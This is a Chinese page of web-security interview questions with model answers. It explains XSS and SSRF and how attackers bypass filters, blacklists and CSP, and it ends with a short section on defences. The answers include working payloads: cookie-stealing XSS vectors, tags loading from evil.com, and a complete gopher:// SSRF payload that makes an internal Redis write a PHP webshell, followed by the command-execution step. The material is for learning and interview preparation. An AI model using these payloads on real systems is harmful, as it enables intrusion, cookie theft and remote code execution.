当前位置: 首页 > news >正文

安恒Web安全面试题

《网安面试指南》https://mp.weixin.qq.com/s/RIVYDmxI9g_TgGrpbdDKtA?token=1860256701&lang=zh_CN

5000篇网安资料库https://mp.weixin.qq.com/s?__biz=MzkwNjY1Mzc0Nw==&mid=2247486065&idx=2&sn=b30ade8200e842743339d428f414475e&chksm=c0e4732df793fa3bf39a6eab17cc0ed0fca5f0e4c979ce64bd112762def9ee7cf0112a7e76af&scene=21#wechat_redirect

以下是针对 ‌XSS/SSRF漏洞场景复现与绕过技术‌的模拟面试题目及参考答案,涵盖基础原理、实战场景和高级绕过思路:

‌一、XSS漏洞相关题目‌

‌1. 基础原理‌

‌题目‌:请解释反射型XSS、存储型XSS和DOM型XSS的区别,并各举一个实际场景。
参考答案‌:

‌反射型XSS‌:攻击载荷通过URL参数传递并直接输出到页面,不持久化(如搜索框输入恶意脚本)。

例如:http://example.com/search?q=<script>alert(1)</script>。

‌存储型XSS‌:攻击载荷存储在服务器端(如评论、留言板),每次访问页面时触发。

例如:用户提交恶意评论<img src=x onerror=stealCookie()>。

‌DOM型XSS‌:漏洞由前端JavaScript操作DOM时未过滤输入导致,不依赖服务端响应。

例如:document.write(location.hash.slice(1))中location.hash可控。

‌2. 绕过过滤‌

‌题目‌:假设目标网站对<script>标签和onerror事件进行过滤,如何绕过?
参考答案‌:

‌HTML标签替代‌:

使用<img src=x>结合<svg/onload=alert(1)>或<a href=javascript:alert(1)>。

‌编码混淆‌:

将alert(1)转为Unicode编码(如\u0061\u006c\u0065\u0072\u0074(1))或HTML实体编码。

‌事件属性替代‌:

利用onmouseover、autofocus onfocus等非敏感事件。

‌3. 高级绕过(CSP策略)‌

‌题目‌:若网站设置CSP策略Content-Security-Policy: script-src 'self',如何绕过?
参考答案‌: ‌JSONP劫持‌:

若允许self域,寻找同域下JSONP接口,构造<script src="/api?callback=alert(1)//"></script>。

‌CSP绕过标签‌:

使用<link rel="prefetch" href="http://evil.com">或<base href="http://evil.com">加载外部资源。

‌Nonce泄露‌:

若CSP包含nonce-xxx,通过其他漏洞窃取nonce值后注入合法脚本。

‌二、SSRF漏洞相关题目‌

‌1. 基础原理‌

‌题目‌:解释SSRF漏洞的成因及常见利用场景。
参考答案‌:

  • 成因:

服务端未校验用户输入的URL,直接请求内部或外部资源(如file_get_contents($_GET['url']))。
  • 利用场景‌:

1、读取本地文件:http://internal-server/etc/passwd。<br/>
2、攻击内网服务:扫描内网Redis、MySQL等未授权访问服务。<br/>
3、云元数据泄露:AWS的169.254.169.254或阿里云100.100.100.200。

‌2. 绕过黑名单‌

‌题目‌:若服务端禁止访问127.0.0.1和localhost,如何绕过?
参考答案‌:

  • IP格式转换:

十进制IP:127.0.0.1 → 2130706433。
八进制IP:0177.0.0.1(需环境支持)。

  • 域名指向‌:

注册域名解析到127.0.0.1(如localtest.me)。

  • URL编码‌:

http://%6c%6f%63%61%6c%68%6f%73%74(localhost的十六进制编码)。

‌3. 协议利用‌

‌题目‌:如何利用SSRF探测内网Redis未授权访问?
参考答案‌:

‌Payload构造‌:

http://attacker.com/ssrf.php?url=gopher://192.168.1.10:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2458%0D%0A%0A%0A%3C%3Fphp%20system%28%24_GET%5B%27cmd%27%5D%29%3B%20%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2416%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A

‌步骤‌:
1.通过Gopher协议发送Redis命令,写入Webshell。
2.访问http://192.168.1.10/shell.php?cmd=id验证RCE。

‌三、综合实战题‌

‌题目‌:假设目标网站存在一个上传功能,允许用户上传图片,但后端会检查文件头(如GIF89a),如何结合XSS和SSRF进行攻击?
‌参考答案‌:

‌1. 上传恶意图片‌:
制作包含XSS Payload的GIF文件:

GIF89a/*<svg/onload=alert(document.cookie)>*/

上传后图片URL为http://target.com/images/evil.gif。

‌2. 触发SSRF‌:
构造SSRF请求读取上传的图片(利用服务端渲染功能):

http://internal-server/render?url=http://target.com/images/evil.gif

当服务端渲染图片时,XSS Payload被执行,窃取内部系统Cookie。

‌四、面试官追问方向‌

1. 防御方案‌:
1)XSS:输出编码(HTML实体化)、CSP策略、输入验证(如白名单标签)。
2)SSRF:禁用非常用协议(如gopher://、file://)、使用白名单域名/IP、请求前解析并校验目标地址。
2. 绕过新思路‌:
1)利用DNS重绑定技术绕过IP黑名单。
2)通过分块编码(Transfer-Encoding: chunked)绕过某些WAF检测。


通过此类问题,面试官可考察候选人对漏洞原理的掌握程度、实战经验及创新绕过能力。建议结合自身项目经验补充具体案例。

相关文章:

  • OpenCV第5课 图像的基本操作
  • 【LaTeX】图片大小调整和并排放置
  • 高品质性价比之王-特伦斯便携钢琴V10
  • Wasm Client SDK线上优化
  • word显示段落标记符(¶)而不是回车符
  • 【Linux内核设计与实现】第三章——进程管理01
  • 如何动态调整Python爬虫的Request请求延迟
  • 第 5 篇:初试牛刀 - 简单的预测方法
  • lmgrd web api调用
  • 《作用域大冒险:从闭包到内存泄漏的终极探索》
  • 【leetcode题解】算法练习
  • 5V 1A充电标准的由来与技术演进——从USB诞生到智能手机时代的电力革命
  • 力扣面试150题--插入区间和用最少数量的箭引爆气球
  • 【22】Strongswan sa ——IKE_SA task_manager_v1
  • 平方根倒数快速算法
  • Keil5没有stm32的芯片库
  • 3步拆解Linux内核源码的思维模型
  • JavaScript day5
  • 在C++业务类和QML之间创建一个数据桥梁
  • 力扣刷题Day 23:最长连续序列(128)
  • 大学2025丨本科专业大调整,教育专家:化解就业难背后供需错配
  • 日方炒作中国社会治安形势不佳,外交部:政治操弄意图明显
  • 00后为购演唱会门票转账近16万元“解封”银行卡,民警及时追回
  • 福建浯屿岛垃圾排海追踪:堆存已清理,当地称今后会日产日清日运
  • 纪念|巴尔加斯·略萨:写作之为命运
  • 女子“伸腿阻拦高铁关门”被行拘,事件追踪:当时发生了什么?